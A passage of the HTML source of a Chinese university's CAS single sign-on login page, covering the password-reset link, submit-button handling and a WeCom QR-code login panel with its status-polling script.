yakZuSGVFdzVqdEVMOTNlQ180NTIxVXFzem1hQ0NEbFRMNlFqLS0xN2d2ajdKVUFlc05LSTV3WXVKUGpiRmJwa3pXT3NybkFQWXBmZDA1NjhYYmFaR2JuWElEY1lPOXE2TlNjZnBtOHpoemdkUVh5MGZjYkpUX3lTX0RyRXlFa2QxVHNTckd3OFVnaE5PTXlpZG1vM0ZYVmZSZEZNNDZ4NEZ0S2VXby1IY01mcGl2TzRsajhmeUVIeHVNdFp0dHhuc1I1d0g5OGhGbWppX05GZzdRUnlkaHpaRjZwbXdxZUdobDNZRWtWSHRLOHdHZ1A4NjFUSndFRHdwNGhIMk91dFVsTjFnOFhtQjB6dkxmQjBlZ0l6U2VDUTNEdUVycWJxelVUdFVfT3hPVTFJTVhnV0hIMTBfTm54dHItZWJhbXF4aWN6ZXJKaFB4S0ZzMWd1MVhyNm0zbGN3eFJIalY5UVNoV3BIaGxVcmNXMllES3dWZ1c5d2h3aGpoa2czeWk5UVVVcUJSd1ZqZmlHekw4cUVyWURIMk5VSWczYlB6WVZCcGRWNE1IckpPeTA2elM3dU40djVsc1ctQnA5a1dVNkZvQkExZEZYdklDOUFaRGpDMmFaUGtVd3FsemdqRjBoODg2T1oxeU1uM0Q0YTJHZ2x5VXZSZm5zQkowRG5iVHZuQ2suVFdYWW1DZmE5a3J1dVpKb0V5T0NQVEFvRG1DM0ZiZUhRTzdITzNpWmR3OFQ3eUExWVd1ZnVuUXNmREFFZDV3V3dydDVCbGtoMDA3OVlzeEdXQWtnU1E=" /><input type="hidden" name="_eventId" value="resetPassword" /><span class="fa fa-unlock"></span>
        <a href="javascript:void(0)"
           onclick="document.getElementById('passwordManagementForm').submit();" >忘记密码？</a>
    </form>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    

    </div>

                <script type="text/javascript">
                    /*<![CDATA[*/
                    var i = "One moment please..."
                    var j = "\u767B\u5F55"
                        /*]]>*/
                        $(window).on('pageshow', function () {
                            $(':submit').prop('disabled', false);
                            $(':submit').attr('value', j);
                        });
                    $(document).ready(function () {
                        $("#fm1").submit(function () {
                            $(":submit").attr("disabled", true);
                            $(":submit").attr("value", i);
                            return true;
                        });
                    });
                </script>


            </div>
            <div id="sidebar">
            <div class="sidebar-content">
                <p>出于安全考虑，一旦您访问过那些需要您提供凭证信息的应用时，请操作完成之后<a href="logout">登出</a>并关闭浏览器。</p>
            </div>
        </div>
        </div>
            </section>
            <section id="providers" class="login-section login-providers">
                <div>
            <!--                <h3 class="text-center mt-md-0 mt-4">--><!--                    <i class="fas fa-user-shield"></i>--><!--                    <span th:utext="#{screen.welcome.label.loginwith}">External Identity Providers</span>--><!--                </h3>--><div class="d-flex justify-content-center" style="display:block">
                <ul class="list-unstyled d-flex flex-column m-0 flex-fill">
                    <li class="p-1 login-provider-item">
                        <div id="myTabContent" class="tab-content">
                            <div id="weixin" style="height:405px;">
                                <div align="center">
                                    <h3 class="text-center">
                                        &nbsp;
                                        <!--<span th:utext="#{screen.wechat.login}">Wechat Login</span>-->
                                    </h3>
                                    <div class="impowerBox" style="width:280px;height:370px;display:block;">
                                        <div id="qrcode" style="background-color:white;width:280px;height:280px;">
                                            <div id="wx_after_warning" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg error" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>二维码已过期</h3>
                                                <p>您可尝试刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                            <div id="wx_after_cancel" class="wrp_code_rl_mask" style="width:290px;height:290px;display:none">
                                                <i class="status_icon icon38_msg warn" style="margin-left:10px;margin-top:50px;"></i>
                                                <h3>您已取消此次登录</h3>
                                                <p>您可以刷新页面后再次扫码登录</p>
                                                <button style="cursor: pointer;border-radius: 2px;border: 1px solid #AAA;min-width: 24px;height: 24px;padding: 0 12px;background: #F5F5F5;" onclick="window.location.reload()" ><span>刷新</span></button>
                                            </div>
                                        </div>
                                        <div class="info">
                                            <div class="status status_browser js_status" id="wx_default_tip"><p>请使用微信扫描二维码登录</p></div>
                                            <div class="status status_succ js_status" style="display:none" id="wx_after_scan"><i class="status_icon icon38_msg succ"></i><div class="status_txt"><h4>扫描成功</h4><p>请在企业微信中点击确认即可登录</p></div></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <script src="/cas/js/easy.qrcode.js"></script>
                            <script>
                                var uu = "clientredirect?client_name=Wework\u0026service=https%3A%2F%2Fwww.wozugou.com/ehall%2Famp-auth-adapter%2FloginSuccess%3FsessionToken%3D0052f78b81584c928f02007777cfe144";
                                $.get(uu, {
                                }, function(data) {
                                    var temp = eval(data);
                                    var timer = null;
                                    var options = {
                                        text: temp.url,
                                        width: 280,
                                        height: 280,
                                        colorDark : "#000000",
                                        colorLight : "#ffffff",
                                        correctLevel : QRCode.CorrectLevel.L, // L, M, Q, H
                                        dotScale: 0.7,
                                        timing: '#000000',
                                        logo:"/cas/images/wecom.png",
                                        logoWidth:50,
                                        logoHeight:50
                                    }
                                    new QRCode(document.getElementById("qrcode"), options);
                                });
                                // function showWechatQR(){
                                timer = window.setInterval(showalert, 5000);
                                changeStatus("default");
                                // }
                                function showalert() {
                                    $.get("?client_name=Wework&wechat=check", {
                                    }, function(data) {
                                        var temp = JSON.parse(data);
                                        if(temp.status == "confirm"){
                                            clearInterval(timer);
                                            var form = $('<form id="pac4jLogin" action="" method="post">'+
                                                '<input name="client_name" value="'+temp.client_name+'">'+
                                                '<input name="state" value="'+temp.state+'">'+
                                                '<input name="code" value="'+temp.code+'">'+
                                                '</form>');
                                            $('body').append(form);
                                            form.submit();
                                            //window.location.replace(temp.redirect);
                                        }else if(temp.status == 'cancel'){
                                            clearInterval(timer);
                                            changeStatus(temp.status);
                                            window.event.returnValue = false;
                                        }else if(temp.status == 'scan'){
                                            changeStatus(temp.status)
                                        }else if(temp.status =='warning'){
                                            clearInterval(timer);
                                            changeStatus(temp.status)
                                        }
                                    });
                                }
                                function changeStatus(status){
                                    if(status === 'cancel'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").show();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'scan'){
                                        $("#wx_default_tip").hide();
                                        $("#wx_after_scan").show();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else if(status === 'default'){
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").hide();
                                    }else{
                                        $("#wx_default_tip").show();
                                        $("#wx_after_scan").hide();
                                        $("#wx_after_cancel").hide();
                                        $("#wx_after_warning").show();
                                    }
                                }
                            </script>
                        </div>
                        <!--<iframe th:if="${entry.name == 'Wecom'}" th:src="@{${entry.redirectUrl}}" width="100%" height="400px" frameborder="0"></iframe>--></li>
                    </ul>
            </div>
        </div>
        <script>
            var redirectTo = $("a[autoRedirect=true]").attr("href");
            if (redirectTo != null && redirectTo != undefined) {
                window.location.href = redirectTo;
            }
        </script>
    </section>
<!--            <section id="acceptto" class="login-section login-qr d-xs-none d-md-block" th:if="${accepttoApplicationId}">--><!--                <div th:replace="fragments/accepttoQRCode :: accepttoQRCode">--><!--                    <a href="fragments/accepttoQRCode.html">accepttoQRCode</a>--><!--                </div>--><!--            </section>--></div>
    </div>
    </main>
</div>

<footer class="py-4 d-flex justify-content-center cas-footer">
    <div id="copyright" class="mr-2 d-inline-block">版权所有 &copy; 2020 南方科技大学 （支持电话:88010777）</div>
</footer>

</body>
</html>
